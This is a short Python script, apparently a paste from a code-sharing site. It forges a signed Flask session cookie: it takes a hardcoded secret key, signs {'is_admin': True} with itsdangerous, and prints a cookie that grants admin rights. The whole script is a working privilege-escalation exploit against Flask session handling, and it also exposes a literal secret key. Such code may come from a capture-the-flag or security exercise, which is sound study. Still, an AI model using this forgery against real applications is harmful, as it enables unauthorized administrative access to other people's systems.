· 4 years ago · Jan 19, 2021, 03:28 AM
1import hashlib, os
2from itsdangerous import URLSafeTimedSerializer
3from flask.sessions import TaggedJSONSerializer
4from sys import argv
5
6secret_key = b'h\x16\xa5\xca\x88\xd9\x8e\x10i\x12\xde\x82ie\xcarL\x9f\r\xe8\xdf\xf5\x84\xb6\x03a3\xb4\xa8K\x94>'
7print(len(secret_key))
8
9def encode_flask_cookie(secret_key, cookie):
10 salt = 'cookie-session'
11 serializer = TaggedJSONSerializer()
12 signer_kwargs = {
13 'key_derivation': 'hmac',
14 'digest_method': hashlib.sha1
15 }
16 s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
17 return s.dumps(cookie)
18
19cookie = {'is_admin': True}
20print(encode_flask_cookie(secret_key, cookie))
21